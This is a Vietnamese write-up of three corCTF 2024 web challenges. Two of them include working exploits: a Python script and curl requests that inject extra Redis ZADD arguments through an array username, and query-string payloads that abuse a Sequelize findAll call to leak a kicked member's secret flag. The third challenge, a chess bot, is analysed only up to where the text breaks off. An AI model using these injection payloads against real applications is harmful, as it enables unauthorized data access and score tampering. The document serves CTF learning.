# corCTF 2024
## rock-paper-scissors [79 solves]

- Một chall kéo - búa - bao với nodejs + redis để lưu số lần thắng của người chơi.


### analysis
- Ta sẽ đi vào phần tích các api của server:
```
import Redis from 'ioredis';
import fastify from 'fastify';
import fastifyStatic from '@fastify/static';
import fastifyJwt from '@fastify/jwt';
import fastifyCookie from '@fastify/cookie';
import { join } from 'node:path';
import { randomBytes, randomInt } from 'node:crypto';
const redis = new Redis(6379, "redis");
const app = fastify();
const winning = new Map([
['🪨', '📃'],
['📃', '✂️'],
['✂️', '🪨']
]);
app.register(fastifyStatic, {
root: join(import.meta.dirname, 'static'),
prefix: '/'
});
app.register(fastifyJwt, { secret: process.env.SECRET_KEY || randomBytes(32), cookie: { cookieName: 'session' } });
app.register(fastifyCookie);
await redis.zadd('scoreboard', 1336, 'FizzBuzz101');
app.post('/new', async (req, res) => {
const { username } = req.body;
const game = randomBytes(8).toString('hex');
await redis.set(game, 0);
return res.setCookie('session', await res.jwtSign({ username, game })).send('OK');
});
app.post('/play', async (req, res) => {
try {
await req.jwtVerify();
} catch(e) {
return res.status(400).send({ error: 'invalid token' });
}
const { game, username } = req.user;
const { position } = req.body;
const system = ['🪨', '📃', '✂️'][randomInt(3)];
if (winning.get(system) === position) {
const score = await redis.incr(game);
return res.send({ system, score, state: 'win' });
} else {
const score = await redis.getdel(game);
if (score === null) {
return res.status(404).send({ error: 'game not found' });
}
await redis.zadd('scoreboard', score, username);
return res.send({ system, score, state: 'end' });
}
});
app.get('/scores', async (req, res) => {
const result = await redis.zrevrange('scoreboard', 0, 99, 'WITHSCORES');
const scores = [];
for (let i = 0; i < result.length; i += 2) {
scores.push([result[i], parseInt(result[i + 1], 10)]);
}
return res.send(scores);
});
app.get('/flag', async (req, res) => {
try {
await req.jwtVerify();
} catch(e) {
return res.status(400).send({ error: 'invalid token' });
}
const score = await redis.zscore('scoreboard', req.user.username);
if (score && score > 1336) {
return res.send(process.env.FLAG || 'corctf{test_flag}');
}
return res.send('You gotta beat Fizz!');
})
app.listen({ host: '0.0.0.0', port: 8080 }, (err, address) => console.log(err ?? `web/rock-paper-scissors listening on ${address}`));
```
- Như ta quan sát thì đúng với logic bình thường -> tạo new user -> api play -> có api scores để quan sát tất cả những người chơi + điểm số của họ.
- Và khi điểm số của người chơi > 1336 thì sẽ nhận `FLAG`.
- Hướng giải quyết mà mình nghĩ đến đầu tiên là truy cập với user `FizzBuzz101` vì điểm số của anh ấy là 1336 và ta chỉ cần win 1 màn nữa là sẽ được flag nhưng không may api `/new` đã ngăn chặn nó lại -> khi người chơi tạo một game mới với username thì server random ra id của game -> set giá trị của game đó với điểm số là 0 đầu tiên -> sau đó mới tạo ra session với jwt.
- Sau một hồi research thì có vẻ như không có bất kì bug gì đến từ các thư viện đang được dùng.
- Ta cùng phân tích rõ hơn api `/play`:
```
app.post('/play', async (req, res) => {
try {
await req.jwtVerify();
} catch(e) {
return res.status(400).send({ error: 'invalid token' });
}
const { game, username } = req.user;
const { position } = req.body;
const system = ['🪨', '📃', '✂️'][randomInt(3)];
if (winning.get(system) === position) {
const score = await redis.incr(game);
return res.send({ system, score, state: 'win' });
} else {
const score = await redis.getdel(game);
if (score === null) {
return res.status(404).send({ error: 'game not found' });
}
await redis.zadd('scoreboard', score, username);
return res.send({ system, score, state: 'end' });
}
});
```
- Với method post mà client gửi đến trước tiên thì server sẽ check session với jwt middleware với thích hợp từ `@fastify/jwt` -> nếu vượt qua thì nhận giá trị `game` & `username` được xử lí ở middlware trả ra -> nhận position -> sau đó sẽ tiến hành random ra 1 trong 3 giá trị kéo - búa - bao -> nếu người chơi chọn kết quả thắng khi mà hệ thống random thì dùng hàm `redis.incr` tăng giá trị điểm lưu trong redis với game hiện tại lên 1 point -> trả ra giá trị điểm, ... -> ngược lại nếu thua thì sẽ `redis.getdel` reset point của game về 0 -> gọi `redis.zadd('scoreboard', score, username);` -> trả về các giá trị tương tự.
- Và bug ở đây nằm ở `redis.zadd('scoreboard', score, username);` anh `Nam` trong team đã seaching ra.

- Như hình có thể thấy là ta có thể truyền nhiều đối số cho nó và khi đó redis sẽ lưu nó là các key và value mới vào ``sorted set "scoreboard"``
```
PS D:\ctf_chall\corCTF2024\rock-paper-scissors> docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
df2a46d93e8e rock-paper-scissors-chall "docker-entrypoint.s…" 3 minutes ago Up 3 minutes 0.0.0.0:8080->8080/tcp rock-paper-scissors-chall-1
0828e098ad05 redis "docker-entrypoint.s…" 3 minutes ago Up 3 minutes 0.0.0.0:60940->6379/tcp rock-paper-scissors-redis-1
PS D:\ctf_chall\corCTF2024\rock-paper-scissors> docker inspect 0828e098ad05
[
{
"Id": "0828e098ad05d9f2d42c2bb8421ae14fad2ddfa01b4cd9ff942060a073e7e88d",
"Created": "2024-07-30T14:17:28.564934924Z",
"Path": "docker-entrypoint.sh",
"Args": [
"redis-server"
],
"State": {
"Status": "running",
"Running": true,
"Paused": false,
"Restarting": false,
"OOMKilled": false,
"Dead": false,
"Pid": 603,
"ExitCode": 0,
"Error": "",
"StartedAt": "2024-07-30T14:17:29.623337834Z",
"FinishedAt": "0001-01-01T00:00:00Z"
},
"Image": "sha256:509b2fc82da65579aa63481c5b4909d1d777040ea574bf4be7aa1d6d48bf4b5f",
"ResolvConfPath": "/var/lib/docker/containers/0828e098ad05d9f2d42c2bb8421ae14fad2ddfa01b4cd9ff942060a073e7e88d/resolv.conf",
"HostnamePath": "/var/lib/docker/containers/0828e098ad05d9f2d42c2bb8421ae14fad2ddfa01b4cd9ff942060a073e7e88d/hostname",
"HostsPath": "/var/lib/docker/containers/0828e098ad05d9f2d42c2bb8421ae14fad2ddfa01b4cd9ff942060a073e7e88d/hosts",
"LogPath": "/var/lib/docker/containers/0828e098ad05d9f2d42c2bb8421ae14fad2ddfa01b4cd9ff942060a073e7e88d/0828e098ad05d9f2d42c2bb8421ae14fad2ddfa01b4cd9ff942060a073e7e88d-json.log",
"Name": "/rock-paper-scissors-redis-1",
"RestartCount": 0,
"Driver": "overlay2",
"Platform": "linux",
"MountLabel": "",
"ProcessLabel": "",
"AppArmorProfile": "",
"ExecIDs": [
"ae2fd5e17736021cf9032d4720e46801ff0426b8d42b99b10c5bee51449d7c7e"
],
"HostConfig": {
"Binds": null,
"ContainerIDFile": "",
"LogConfig": {
"Type": "json-file",
"Config": {}
},
"NetworkMode": "rock-paper-scissors_default",
"PortBindings": {
"6379/tcp": [
{
"HostIp": "0.0.0.0",
"HostPort": "0"
}
]
},
"RestartPolicy": {
"Name": "no",
"MaximumRetryCount": 0
},
"AutoRemove": false,
"VolumeDriver": "",
"VolumesFrom": null,
"ConsoleSize": [
0,
0
],
"CapAdd": null,
"CapDrop": null,
"CgroupnsMode": "host",
"Dns": null,
"DnsOptions": null,
"DnsSearch": null,
"ExtraHosts": [],
"GroupAdd": null,
"IpcMode": "private",
"Cgroup": "",
"Links": null,
"OomScoreAdj": 0,
"PidMode": "",
"Privileged": false,
"PublishAllPorts": false,
"ReadonlyRootfs": false,
"SecurityOpt": null,
"UTSMode": "",
"UsernsMode": "",
"ShmSize": 67108864,
"Runtime": "runc",
"Isolation": "",
"CpuShares": 0,
"Memory": 0,
"NanoCpus": 0,
"CgroupParent": "",
"BlkioWeight": 0,
"BlkioWeightDevice": null,
"BlkioDeviceReadBps": null,
"BlkioDeviceWriteBps": null,
"BlkioDeviceReadIOps": null,
"BlkioDeviceWriteIOps": null,
"CpuPeriod": 0,
"CpuQuota": 0,
"CpuRealtimePeriod": 0,
"CpuRealtimeRuntime": 0,
"CpusetCpus": "",
"CpusetMems": "",
"Devices": null,
"DeviceCgroupRules": null,
"DeviceRequests": null,
"MemoryReservation": 0,
"MemorySwap": 0,
"MemorySwappiness": null,
"OomKillDisable": false,
"PidsLimit": null,
"Ulimits": null,
"CpuCount": 0,
"CpuPercent": 0,
"IOMaximumIOps": 0,
"IOMaximumBandwidth": 0,
"MaskedPaths": [
"/proc/asound",
"/proc/acpi",
"/proc/kcore",
"/proc/keys",
"/proc/latency_stats",
"/proc/timer_list",
"/proc/timer_stats",
"/proc/sched_debug",
"/proc/scsi",
"/sys/firmware",
"/sys/devices/virtual/powercap"
],
"ReadonlyPaths": [
"/proc/bus",
"/proc/fs",
"/proc/irq",
"/proc/sys",
"/proc/sysrq-trigger"
]
},
"GraphDriver": {
"Data": {
"LowerDir": "/var/lib/docker/overlay2/0956a84f784478349b2b35ea9dd484f71640af4548951559e7dc94d996678f16-init/diff:/var/lib/docker/overlay2/946debb1c227499ed133261a8350b777051fc45e5ba8b6227fac8038b708a80b/diff:/var/lib/docker/overlay2/702e82dca889d22c0c13c1a0c3cdab75734cf61ca29a337f83dcf569c6bfa222/diff:/var/lib/docker/overlay2/c551b2d402dcdbedf4473365d972141221f004b7e6db13383fc0c9a4ce4ebd2c/diff:/var/lib/docker/overlay2/2b0b940379a57ef9e97145b23cb3d4d857ba7abbdbdccacc2e586c2ffe912cf4/diff:/var/lib/docker/overlay2/c4e1fdeb08461fd9958864b572dd18151b05d51acca9b9d428cb504642f9f831/diff:/var/lib/docker/overlay2/44a0bbfacb80080501b45ae78d2a0e54ed59171039bcbe1e7f6604e988ac4316/diff:/var/lib/docker/overlay2/ce06eacfcad13e2e0dbdc1cf9f4d7bbe906a6d37e5bcd97932b05321b4bf1dff/diff:/var/lib/docker/overlay2/defd33130a0d2062af3c9d7ecad24f4681d67947521aa6bd7f5405d6b42120b7/diff",
"MergedDir": "/var/lib/docker/overlay2/0956a84f784478349b2b35ea9dd484f71640af4548951559e7dc94d996678f16/merged",
"UpperDir": "/var/lib/docker/overlay2/0956a84f784478349b2b35ea9dd484f71640af4548951559e7dc94d996678f16/diff",
"WorkDir": "/var/lib/docker/overlay2/0956a84f784478349b2b35ea9dd484f71640af4548951559e7dc94d996678f16/work"
},
"Name": "overlay2"
},
"Mounts": [
{
"Type": "volume",
"Name": "2f4aff134e0a7d51270d3aedd48d82ebeddffe1dd4453cc06a90f49f5e2b2f09",
"Source": "/var/lib/docker/volumes/2f4aff134e0a7d51270d3aedd48d82ebeddffe1dd4453cc06a90f49f5e2b2f09/_data",
"Destination": "/data",
"Driver": "local",
"Mode": "",
"RW": true,
"Propagation": ""
}
],
"Config": {
"Hostname": "0828e098ad05",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": true,
"AttachStderr": true,
"ExposedPorts": {
"6379/tcp": {}
},
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.17",
"REDIS_VERSION=7.4.0",
"REDIS_DOWNLOAD_URL=http://download.redis.io/releases/redis-7.4.0.tar.gz",
"REDIS_DOWNLOAD_SHA=57b47c2c6682636d697dbf5d66d8d495b4e653afc9cd32b7adf9da3e433b8aaf"
],
"Cmd": [
"redis-server"
],
"Image": "redis",
"Volumes": {
"/data": {}
},
"WorkingDir": "/data",
"Entrypoint": [
"docker-entrypoint.sh"
],
"OnBuild": null,
"Labels": {
"com.docker.compose.config-hash": "576e5b3fdcf6ba4fa5287347812fae6e0b976d28cef9147629de74465af9a191",
"com.docker.compose.container-number": "1",
"com.docker.compose.depends_on": "",
"com.docker.compose.image": "sha256:509b2fc82da65579aa63481c5b4909d1d777040ea574bf4be7aa1d6d48bf4b5f",
"com.docker.compose.oneoff": "False",
"com.docker.compose.project": "rock-paper-scissors",
"com.docker.compose.project.config_files": "D:\\ctf_chall\\corCTF2024\\rock-paper-scissors\\docker-compose.yml",
"com.docker.compose.project.working_dir": "D:\\ctf_chall\\corCTF2024\\rock-paper-scissors",
"com.docker.compose.service": "redis",
"com.docker.compose.version": "2.28.1"
}
},
"NetworkSettings": {
"Bridge": "",
"SandboxID": "95a17f02a170390891788b5b5925113de8386e7e99c00d2cf2205fafbde5783a",
"SandboxKey": "/var/run/docker/netns/95a17f02a170",
"Ports": {
"6379/tcp": [
{
"HostIp": "0.0.0.0",
"HostPort": "60940"
}
]
},
"HairpinMode": false,
"LinkLocalIPv6Address": "",
"LinkLocalIPv6PrefixLen": 0,
"SecondaryIPAddresses": null,
"SecondaryIPv6Addresses": null,
"EndpointID": "",
"Gateway": "",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"IPAddress": "",
"IPPrefixLen": 0,
"IPv6Gateway": "",
"MacAddress": "",
"Networks": {
"rock-paper-scissors_default": {
"IPAMConfig": null,
"Links": null,
"Aliases": [
"rock-paper-scissors-redis-1",
"redis"
],
"MacAddress": "02:42:ac:12:00:02",
"DriverOpts": null,
"NetworkID": "26f514ba6e1d52d8bf91331a16cb438b90ce1ae95be9c7cc850bba1b087c345f",
"EndpointID": "0fcc5c9e0d7da7a5987376a377439819d5684dc0248d3eb46d5c64b345af1801",
"Gateway": "172.18.0.1",
"IPAddress": "172.18.0.2",
"IPPrefixLen": 16,
"IPv6Gateway": "",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"DNSNames": [
"rock-paper-scissors-redis-1",
"redis",
"0828e098ad05"
]
}
}
}
}
]
```
- Ta sẽ tạo username với api `/new` để xem những gì đã diễn ra nếu ta truyền nhiều đối số với redis.
```
l3mnt2010@ASUSEXPERTBOOK:~$ curl -X POST -H "Content-Type: application/json" -d '{"username": ["lam","\n", "scoreboard", 1337, "gaga"]}' http://localhost:8080/new
OK
```
poc:
```
l3mnt2010@ASUSEXPERTBOOK:~/corCTF2024/rock-paper-scissors$ python3 exp.py
corctf{test_flag}
l3mnt2010@ASUSEXPERTBOOK:~/corCTF2024/rock-paper-scissors$ cat exp.py
import requests
HOST = 'http://localhost:8080'
sess = requests.Session()
exfil_username = 'mixi'
r = sess.post(HOST + '/new', json={'username': ['lam', 1337, exfil_username]})
r = sess.post(HOST + '/play', json={'position': "a"})
r = sess.post(HOST + '/new', json={'username': exfil_username})
flag = sess.get(HOST + '/flag').text
print(flag)
l3mnt2010@ASUSEXPERTBOOK:~/corCTF2024/rock-paper-scissors$
```
- Đây là các hành động mà được redis xử lí khi ta truyền nhiều đối số:
```
PS D:\ctf_chall\corCTF2024\rock-paper-scissors> rdcli -h 127.0.0.1 -p 60940
127.0.0.1:60940>
127.0.0.1:60940> MONITOR
OK
127.0.0.1:60940> 1722351217.998199 [0 172.18.0.3:58266] "set" "1ce29c3d35e8be24" "0"
1722351251.694706 [0 172.18.0.3:58266] "set" "5c653d17782fd9ef" "0"
1722351258.780213 [0 172.18.0.3:58266] "zrevrange" "scoreboard" "0" "99" "WITHSCORES"
1722351261.011568 [0 172.18.0.3:58266] "zrevrange" "scoreboard" "0" "99" "WITHSCORES"
1722351446.656598 [0 172.18.0.3:58266] "set" "d8d255e5554c75d8" "0"
1722351446.730496 [0 172.18.0.3:58266] "getdel" "d8d255e5554c75d8"
1722351446.737365 [0 172.18.0.3:58266] "zadd" "scoreboard" "0" "lam" "1337" "mixi"
1722351446.752457 [0 172.18.0.3:58266] "set" "bf5ec5ad0a5bb51d" "0"
1722351446.768182 [0 172.18.0.3:58266] "zscore" "scoreboard" "mixi"
```
Đúng như mục đích ta có thể thấy:
- Đầu tiên thì mình tạo user với api `/new` sau đó server tạo game và lưu vào redis `"set" "d8d255e5554c75d8" "0"`
- Tiếp theo là gọi api `/play` và để chơi chắc chắn sai thì mình gửi position sai -> lúc này redis sẽ gọi method `getdel` `"getdel" "d8d255e5554c75d8"` -> sau đó gọi `zadd`: `"zadd" "scoreboard" "0" "lam" "1337" "mixi"` -> lúc này thì username `mixi` đã được add với score là 1337 vào `sorted set "scoreboard"`.

### exploit real server
```
l3mnt2010@ASUSEXPERTBOOK:~/corCTF2024/rock-paper-scissors$ python3 exp.py
corctf{lizard_spock!_a8cd3ad8ee2cde42}
```
### Notes
- Sau bài này mình mới rút ra một vài lỗi analysis của mình là sorted set "scoreboard" mới là để kiểm tra khi lấy flag chứ không phải kiểm tra điểm của game.
- Vấn đề đọc chưa kĩ flow là server tạo game -> user chơi game -> điểm của game đó sẽ được add vào `scoreboard` trong redis chứ không phải là lấy điểm cao nhất của user và cộng vào.
flag: `corctf{lizard_spock!_a8cd3ad8ee2cde42}`
## erm [60 solves]

- Đến với một chall nodejs + orm Sequelize + sqlite database.
Vì đề bài cho source nên ta sẽ đi phân tích luôn các api của server.
### analysis
```
const express = require("express");
const hbs = require("hbs");
const app = express();
const db = require("./db.js");
const PORT = process.env.PORT || 5000;
app.set("view engine", "hbs");
// catches async errors and forwards them to error handler
// https://stackoverflow.com/a/51391081
const wrap = fn => (req, res, next) => {
return Promise
.resolve(fn(req, res, next))
.catch(next);
};
app.get("/api/members", wrap(async (req, res) => {
res.json({ members: (await db.Member.findAll({ include: db.Category, where: { kicked: false } })).map(m => m.toJSON()) });
}));
app.get("/api/writeup/:slug", wrap(async (req, res) => {
const writeup = await db.Writeup.findOne({ where: { slug: req.params.slug }, include: db.Member });
if (!writeup) return res.status(404).json({ error: "writeup not found" });
res.json({ writeup: writeup.toJSON() });
}));
app.get("/api/writeups", wrap(async (req, res) => {
res.json({ writeups: (await db.Writeup.findAll(req.query)).map(w => w.toJSON()).sort((a,b) => b.date - a.date) });
}));
app.get("/writeup/:slug", wrap(async (req, res) => {
res.render("writeup");
}));
app.get("/writeups", wrap(async (req, res) => res.render("writeups")));
app.get("/members", wrap(async (req, res) => res.render("members")));
app.get("/", (req, res) => res.render("index"));
app.use((err, req, res, next) => {
console.log(err);
res.status(500).send('An error occurred');
});
app.listen(PORT, () => console.log(`web/erm listening on port ${PORT}`));
```
- Trang web khá `cầu kì` dùng để hiển thị member + writeup cho team chơi CTF khá phổ biến có sử dụng template handlerbar.
- Như ta thấy ở trên thì `/` sẽ hiển thị trang index,`/members` sẽ hiển thị `members` và trong này lại gọi api `/api/members` để hiển thị các member của team trừ thành viên đã bị `kicked`, `/writeups` tương tự sẽ gọi api `/api/writeups` để hiên thị danh sách tất cả các write up qua các giải CTF, `/writeup/:slug` sẽ hiển thị writeup detail qua việc gọi `/api/writeup/:slug`
- Vậy thì để ý FLAG trước đã -> flag nằm ở `db.js` đây là nơi init các method và truy vấn liên quan đến database.
```
const { Sequelize, DataTypes, Op } = require('sequelize');
const slugify = require('slugify');
const { rword } = require('rword');
const sequelize = new Sequelize({
dialect: 'sqlite',
storage: 'erm.db',
logging: false
});
const Category = sequelize.define('Category', {
name: {
type: DataTypes.STRING,
primaryKey: true,
allowNull: false,
}
});
const Member = sequelize.define('Member', {
username: {
type: DataTypes.STRING,
primaryKey: true,
allowNull: false,
},
secret: {
type: DataTypes.STRING,
},
kicked: {
type: DataTypes.BOOLEAN,
defaultValue: false,
}
});
const Writeup = sequelize.define('Writeup', {
title: {
type: DataTypes.STRING,
allowNull: false
},
slug: {
type: DataTypes.STRING,
allowNull: false,
},
content: {
type: DataTypes.TEXT,
allowNull: false
},
date: {
type: DataTypes.DATE,
allowNull: false
},
category: {
type: DataTypes.STRING,
}
});
Category.belongsToMany(Member, { through: 'MemberCategory' });
Member.belongsToMany(Category, { through: 'MemberCategory' });
Member.hasMany(Writeup);
Writeup.belongsTo(Member);
sequelize.sync().then(async () => {
const writeupCount = await Writeup.count();
if (writeupCount !== 0) return;
console.log("seeding db with default data...");
const categories = ["web", "pwn", "rev", "misc", "crypto", "forensics"];
const members = [
{ username: "FizzBuzz101", categories: ["pwn", "rev"] },
{ username: "strellic", categories: ["web", "misc"] },
{ username: "EhhThing", categories: ["web", "misc"] },
{ username: "drakon", categories: ["web", "misc"], },
{ username: "ginkoid", categories: ["web", "misc"], },
{ username: "jazzpizazz", categories: ["web", "misc"], },
{ username: "BrownieInMotion", categories: ["web", "rev"] },
{ username: "clubby", categories: ["pwn", "rev"] },
{ username: "pepsipu", categories: ["pwn", "crypto"] },
{ username: "chop0", categories: ["pwn"] },
{ username: "ryaagard", categories: ["pwn"] },
{ username: "day", categories: ["pwn", "crypto"] },
{ username: "willwam845", categories: ["crypto"] },
{ username: "quintec", categories: ["crypto", "misc"] },
{ username: "anematode", categories: ["rev"] },
{ username: "0x5a", categories: ["pwn"] },
{ username: "emh", categories: ["crypto"] },
{ username: "jammy", categories: ["misc", "forensics"] },
{ username: "pot", categories: ["crypto"] },
{ username: "plastic", categories: ["misc", "forensics"] },
];
for (const category of categories) {
await Category.create({ name: category });
}
for (const member of members) {
const m = await Member.create({ username: member.username });
for (const category of member.categories) {
const c = await Category.findOne({ where: { name: category } });
await m.addCategory(c);
await c.addMember(m);
}
}
// the forbidden member
// banned for leaking our solve scripts
const goroo = await Member.create({ username: "goroo", secret: process.env.FLAG || "corctf{test_flag}", kicked: true });
const web = await Category.findOne({ where: { name: "web" } });
await goroo.addCategory(web);
await web.addMember( );
for (let i = 0; i < 25; i++) {
const challCategory = categories[Math.floor(Math.random() * categories.length)];
const date = new Date(Math.floor(Math.random() * 4) + 2020, Math.floor(Math.random() * 12), Math.floor(Math.random() * 31) + 1);
// most CTFs feel like they're just named with random words anyway
const ctfName = `${rword.generate(1, { capitalize: 'first', length: '4-6' })}CTF ${date.getFullYear()}`;
// same thing with challenge names
const challName = `${challCategory}/${rword.generate(1)}`;
const title = `${ctfName} - ${challName} Writeup`;
const content = rword.generate(1, { capitalize: 'first'}) + " " + rword.generate(500).join(" ") + ".<br /><br />Thanks for reading!<br /><br />";
const writeup = await Writeup.create({ title, content, date, slug: slugify(title, { lower: true }), category: challCategory });
const authors = members.filter(m => m.categories.includes(challCategory));
const author = await Member.findByPk(authors[Math.floor(Math.random() * authors.length)].username);
await writeup.setMember(author);
await author.addWriteup(writeup);
}
});
module.exports = { Category, Member, Writeup };
```
- Với orm sequelize server khởi tạo bảng `Categorys` chứa tên các mảng trong CTF, `Members` chứa member, `Writeups` chứa các write up của team -> khởi tạo các relationship tương ứng -> tiếp sau đó insert các member sau đó tạo ra write-up random.
- Và flag là secret của user goroo là flag:
```
const goroo = await Member.create({ username: "goroo", secret: process.env.FLAG || "corctf{test_flag}", kicked: true });
const web = await Category.findOne({ where: { name: "web" } });
await goroo.addCategory(web);
await web.addMember(goroo);
```
- ở đây `kicked` là true vì vậy cho nên ta có thể hiểu được lí do khi api member lại không có user này.
- Có 2 api mà chúng ta có thể truyền đầu vào ở 2 api này:
```
app.get("/api/writeup/:slug", wrap(async (req, res) => {
const writeup = await db.Writeup.findOne({ where: { slug: req.params.slug }, include: db.Member });
if (!writeup) return res.status(404).json({ error: "writeup not found" });
res.json({ writeup: writeup.toJSON() });
}));
app.get("/api/writeups", wrap(async (req, res) => {
res.json({ writeups: (await db.Writeup.findAll(req.query)).map(w => w.toJSON()).sort((a,b) => b.date - a.date) });
}));
```
### exploit
- Chú ý điểm nổi bật là ở `/api/writeups` tại sao lại truyền cả req.query vào method của sequelize và anh Hậu và anh Nam đã tìm ra solution cho chall này theo như trong doc này [link](https://sequelize.org/api/v6/class/src/model.js~model#static-method-findAll)
poc: `include[all]=All&include[where][username]=goroo&include[or]=1` ở đây điều kiện là sẽ bao gồm tất cả các relationship liên quan đến bảng Writeups với điều kiện là username = `goroo` và mấu chốt ở đây là ta sẽ chuyển điều kiện or:


- ở đây thì or 1 là true sẽ luôn đúng và trả ra kết quả.
- Hoặc ở đây ta sẽ dùng điều kiện on sẽ check điều kiện kicked là true và lọc ra user `goroo`:

``
/api/writeups?include[all]=All&include[on][kicked]=1
``

flag: `corctf{erm?_more_like_orm_amiright?}`
## msfrogofwar3
- Một ứng dụng play chess realtime với bot sử dụng `stockfish` và socketIO với flask.
- Theo như tìm hiểu thì stockfish là một engine cờ vua khá phổ biến hiện nay dùng để phân tích và chơi cờ vua để đưa ra những nước đi một cách tốt nhất và ở chương trình này thì nó là bot và sẽ chơi với mình.
### analyst
- Bây giờ thì ta sẽ đi vào phân tích logic của mã nguồn đang chạy:
```
from flask import Flask, request, render_template
from flask_socketio import SocketIO, emit
from stockfish import Stockfish
import random
import chess
games = {}
toxic_msges = [
"?",
"rip bozo",
"so bad lmfaoo",
"ez",
"skill issue",
"mad cuz bad",
"hold this L",
"L + ratio + you fell off",
"i bet your main category is stego",
"have you tried alt+f4?",
"🤡🤡🤡"
]
win_msges = [
"lmaooooooooo ur so bad",
"was that it?",
"zzzzzzzzzzzzzzzzzzzzzz",
"hopefully the next game wont be so quick",
"nice try - jk that was horrible",
"this aint checkers man"
]
TURN_LIMIT = 15
STOCKFISH_DEPTH = 21
FLAG = "corctf{this_is_a_fake_flag}"
class GameWrapper:
def __init__(self, emit):
self.emit = emit
self.board = chess.Board(chess.STARTING_FEN)
self.moves = []
self.player_turn = True
def get_player_state(self):
legal_moves = [f"{m}" for m in self.board.legal_moves] if self.player_turn and self.board.fullmove_number < TURN_LIMIT else []
status = "running"
if self.board.fullmove_number >= TURN_LIMIT:
status = "turn limit"
if outcome := self.board.outcome():
if outcome.winner is None:
status = "draw"
else:
status = "win" if outcome.winner == chess.WHITE else "lose"
return {
"pos": self.board.fen(),
"moves": legal_moves,
"your_turn": self.player_turn,
"status": status,
"turn_counter": f"{self.board.fullmove_number} / {TURN_LIMIT} turns"
}
def play_move(self, uci):
if not self.player_turn:
return
if self.board.fullmove_number >= TURN_LIMIT:
return
self.player_turn = False
outcome = self.board.outcome()
if outcome is None:
try:
move = chess.Move.from_uci(uci)
if move:
if move not in self.board.legal_moves:
self.player_turn = True
self.emit('state', self.get_player_state())
self.emit("chat", {"name": "System", "msg": "Illegal move"})
return
self.board.push_uci(uci)
except:
self.player_turn = True
self.emit('state', self.get_player_state())
self.emit("chat", {"name": "System", "msg": "Invalid move format"})
return
elif outcome.winner != chess.WHITE:
self.emit("chat", {"name": "🐸", "msg": "you lost, bozo"})
return
self.moves.append(uci)
# stockfish has a habit of crashing
# The following section is used to try to resolve this
opponent_move, attempts = None, 0
while not opponent_move and attempts <= 10:
try:
attempts += 1
engine = Stockfish("./stockfish/stockfish-ubuntu-x86-64-avx2", parameters={"Threads": 4}, depth=STOCKFISH_DEPTH)
for m in self.moves:
if engine.is_move_correct(m):
engine.make_moves_from_current_position([m])
opponent_move = engine.get_best_move_time(3_000)
except:
pass
if opponent_move != None:
self.moves.append(opponent_move)
opponent_move = chess.Move.from_uci(opponent_move)
if self.board.is_capture(opponent_move):
self.emit("chat", {"name": "🐸", "msg": random.choice(toxic_msges)})
self.board.push(opponent_move)
self.player_turn = True
self.emit("state", self.get_player_state())
if (outcome := self.board.outcome()) is not None:
if outcome.termination == chess.Termination.CHECKMATE:
if outcome.winner == chess.BLACK:
self.emit("chat", {"name": "🐸", "msg": "Nice try... but not good enough 🐸"})
else:
self.emit("chat", {"name": "🐸", "msg": "how??????"})
self.emit("chat", {"name": "System", "msg": FLAG})
else: # statemate, insufficient material, etc
self.emit("chat", {"name": "🐸", "msg": "That was close... but still not good enough 🐸"})
else:
self.emit("chat", {"name": "System", "msg": "An error occurred, please restart"})
app = Flask(__name__, static_url_path='', static_folder='static')
socketio = SocketIO(app, cors_allowed_origins='*')
@app.after_request
def add_header(response):
response.headers['Cache-Control'] = 'max-age=604800'
return response
@app.route('/')
def index_route():
return render_template('index.html')
@socketio.on('connect')
def on_connect(_):
games[request.sid] = GameWrapper(emit)
emit('state', games[request.sid].get_player_state())
@socketio.on('disconnect')
def on_disconnect():
if request.sid in games:
del games[request.sid]
@socketio.on('move')
def onmsg_move(move):
try:
games[request.sid].play_move(move)
except:
emit("chat", {"name": "System", "msg": "An error occurred, please restart"})
@socketio.on('state')
def onmsg_state():
emit('state', games[request.sid].get_player_state())
```
- Sử dụng socketIO để connect với server -> ở đây là mỗi người chơi sẽ có một session riêng và nếu emit `move` -> thì sẽ gọi phương thức play_move được khởi tạo từ class `GameWrapper`
Cùng phân tích sâu một chút class này:
- khi khởi tạo một đối tượng sẽ khởi tạo các giá trị emit , board , move là vị trí, player_tern = true tức là đầu tiên người chơi sẽ được di chuyển trước.
Quan sát phương thức `play_move` được gọi khi client emit `move`:
- Yêu cầu phải đang lượt của người chơi mới được thực thi và nếu quá 15 lượt thì sẽ không được di chuyển (tức là thua) và ván cờ chưa kết thúc.
- `move = chess.Move.from_uci(uci)` sử dụng trong Python là để tạo một đối tượng Move từ một chuỗi UCI (Universal Chess Interface) đại diện cho một nước đi trong cờ vua là giá trị của move mà ta emit kiểm tra nếu nước đi có hợp lệ hay không nếu mà không thì trả ra tin `msg": "Illegal move` còn nếu hợp lệ thì đẩy nước đi vào trong bảng cờ.
- Và nếu mình thua -> tức là quân trắng thua thì gửi tin `msg": "you lost, bozo"`
```
opponent_move, attempts = None, 0
while not opponent_move and attempts <= 10:
try:
attempts += 1
engine = Stockfish("./stockfish/stockfish-ubuntu-x86-64-avx2", parameters={"Threads": 4}, depth=STOCKFISH_DEPTH)
for m in self.moves:
if engine.is_move_correct(m):
engine.make_moves_from_current_position([m])
opponent_move = engine.get_best_move_time(3_000)
except:
pass
```
- Vòng lặp trên sẽ lấy nước đi tốt nhất nếu mà không thành công sau 10 lần trả ra lỗi -> nếu tìm ra nó sẽ di chuyển theo nước tại uci đó.
Kiểm tra kết thúc ván cờ:
- if (outcome := self.board.outcome()) is not None:: Kiểm tra xem ván cờ đã kết thúc chưa.
- if outcome.termination == chess.Termination.CHECKMATE:: Nếu ván cờ kết thúc bằng chiếu hết.
- if outcome.winner == chess.BLACK:: Nếu đối thủ thắng (Stockfish là quân đen), gửi thông báo "Nice try... but not good enough 🐸".
- else:: Nếu người chơi thắng, gửi thông báo "how??????" và có thể thêm FLAG.
- else:: Nếu ván cờ kết thúc với một kết quả khác (hòa,..), gửi thông báo "That was close... but still not good enough 🐸".
